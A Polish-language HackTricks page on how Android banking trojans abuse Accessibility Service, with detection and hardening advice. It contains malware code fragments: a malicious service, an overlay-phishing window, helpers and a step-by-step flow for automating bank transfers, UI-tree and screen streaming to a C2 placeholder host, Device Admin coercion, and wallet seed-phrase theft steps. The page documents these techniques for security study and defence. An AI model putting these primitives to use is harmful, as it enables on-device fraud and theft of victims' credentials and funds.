Nadużycie Accessibility Service w Androidzie
Reading time: 8 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Przegląd
AccessibilityService
został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety te same powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) mogą zostać zbrojne przez malware, aby uzyskać pełną zdalną kontrolę nad urządzeniem bez uprawnień root.
Nowoczesne Android banking Trojans i Remote-Access-Trojans (RATs) takie jak PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i wiele innych stosują ten sam schemat:
- Social-engineer ofiarę, aby włączyła złośliwą usługę accessibility (uprawnienie BIND_ACCESSIBILITY_SERVICE jest uznawane za "high-risk" i wymaga wyraźnej akcji użytkownika).
- Wykorzystać usługę do
- capture every UI event & text that appears on screen,
- inject synthetic gestures (
dispatchGesture
) and global actions (performGlobalAction
) to automate any task the operator desires, - draw full-screen overlays on top of legitimate apps using the TYPE_ACCESSIBILITY_OVERLAY window type (no
SYSTEM_ALERT_WINDOW
prompt!), - silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
- Eksfiltrować dane lub przeprowadzać On-Device-Fraud (ODF) w czasie rzeczywistym, podczas gdy użytkownik patrzy na pozornie normalny ekran.
Żądanie uprawnienia
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Towarzyszący plik XML określa, jak będzie wyglądać fałszywy dialog:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Zdalne prymitywy automatyzacji interfejsu użytkownika
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Posiadając tylko te dwa API, atakujący może:
- Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i wysłać formularz przelewu.
- Zaakceptować każde okno dialogowe uprawnień, które się pojawi.
- Zainstalować/zaktualizować dodatkowe APK via the Play Store intent.
Wzorce nadużyć
1. Overlay Phishing (Credential Harvesting)
Do menedżera okien dodawany jest przezroczysty lub nieprzezroczysty WebView
:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Ofiara wpisuje poświadczenia do fałszywego formularza, podczas gdy aplikacja w tle otrzymuje te same gesty — nigdy nie pojawia się podejrzany monit "draw over other apps".
Szczegółowy przykład: sekcja Accessibility Overlay Phishing wewnątrz strony Tapjacking.
2. Automatyzacja oszustw na urządzeniu
Malware families takie jak PlayPraetor utrzymują trwały kanał WebSocket, gdzie operator może wydawać wysokopoziomowe polecenia (init
, update
, alert_arr
, report_list
, …). Serwis tłumaczy te polecenia na niskopoziomowe gesty opisane wyżej, osiągając transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe powiązane z tym urządzeniem.
3. Screen streaming & monitoring
Łącząc MediaProjection API z biblioteką klienta RTMP, RAT może nadawać żywy framebuffer do rtmp://<c2>:1935/live/<device_id>
, dając atakującemu pełną świadomość sytuacyjną, podczas gdy silnik Accessibility steruje UI.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – iteruj po hard-coded liście aż jedna domena odpowie
POST /app/searchPackageName
z aktywnym C2. - WebSocket (port 8282) – bidirectional JSON commands:
update
– push new conf/APKsalert_arr
– configure overlay templatesreport_list
– send list of targeted package namesheartbeat_web
– keep-alive
- RTMP (port 1935) – live screen/video streaming.
- REST exfiltration –
/app/saveDevice
(fingerprint)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank creds)
The AccessibilityService is the local engine that turns those cloud commands into physical interactions.
Wykrywanie złośliwych accessibility services
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – sprawdź aplikacje, które nie pochodzą z Google Play.
- MDM / EMM solutions mogą egzekwować
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) aby zablokować sideloaded services. - Analizuj uruchomione usługi:
adb shell dumpsys accessibility | grep "Accessibility Service"
Zalecenia dotyczące hardeningu dla deweloperów aplikacji
- Oznacz wrażliwe widoki za pomocą
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Połącz
setFilterTouchesWhenObscured(true)
zFLAG_SECURE
aby zapobiegać tap/overlay hijacking. - Wykrywaj overlays poprzez odpytywanie
WindowManager.getDefaultDisplay().getFlags()
lub APIViewRootImpl
. - Odmów działania gdy
Settings.canDrawOverlays()
lub nie-zaufana usługa Accessibility jest aktywna.
ATS automation cheat-sheet (Accessibility-driven)
Malware może w pełni zautomatyzować aplikację bankową korzystając wyłącznie z Accessibility APIs. Ogólne prymitywy:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Przykładowy przebieg (czeskie → angielskie etykiety):
- "Nová platba" (Nowa płatność) → kliknij
- "Zadat platbu" (Wprowadź płatność) → kliknij
- "Nový příjemce" (Nowy odbiorca) → kliknij
- "Domácí číslo účtu" (Krajowy numer rachunku) → ustaw fokus i
ACTION_SET_TEXT
- "Další" (Dalej) → kliknij → … "Zaplatit" (Zapłać) → kliknij → wprowadź PIN
Plan awaryjny: twardo zakodowane współrzędne z użyciem dispatchGesture
, gdy wyszukiwanie tekstu zawodzi z powodu niestandardowych widgetów.
Również zaobserwowano: kroki przygotowawcze prowadzące do check_limit
i limit
przez przejście do interfejsu limitów i zwiększenie dziennych limitów przed przelewem.
Pseudo-strumieniowanie ekranu oparte na tekście
Dla zdalnego sterowania o niskim opóźnieniu, zamiast pełnego strumieniowania wideo, zrzucaj tekstową reprezentację bieżącego drzewa UI i wielokrotnie wysyłaj ją do C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
This is the basis for commands like txt_screen
(jednorazowe) and screen_live
(ciągłe).
Device Admin — prymitywy wymuszania
Po aktywacji odbiornika Device Admin, te wywołania zwiększają możliwości przechwycenia poświadczeń i utrzymania kontroli:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Uwaga: dokładna dostępność tych polityk zależy od wersji Android i OEM; podczas testów sprawdź rolę polityki urządzenia (admin vs owner).
Crypto wallet seed-phrase extraction patterns
Obserwowane przepływy dla MetaMask, Trust Wallet, Blockchain.com i Phantom:
- Odblokowanie skradzionym PIN-em (przechwyconym za pomocą overlay/Accessibility) lub podanym hasłem do portfela.
- Nawigacja: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Zbieranie frazy poprzez keylogging węzłów tekstowych, obejście secure-screen lub screenshot OCR gdy tekst jest zasłonięty.
- Wsparcie wielu lokalizacji (EN/RU/CZ/SK) w celu stabilizacji selektorów – preferuj
viewIdResourceName
gdy dostępne, w przeciwnym razie dopasowywanie tekstu wielojęzycznego.
NFC-relay orchestration
Moduły Accessibility/RAT mogą zainstalować i uruchomić dedykowaną aplikację NFC-relay (np. NFSkate) jako trzeci etap, a nawet wstrzyknąć overlay z instrukcjami, aby przeprowadzić ofiarę przez kroki relay wymagające obecności karty.
Tło i TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.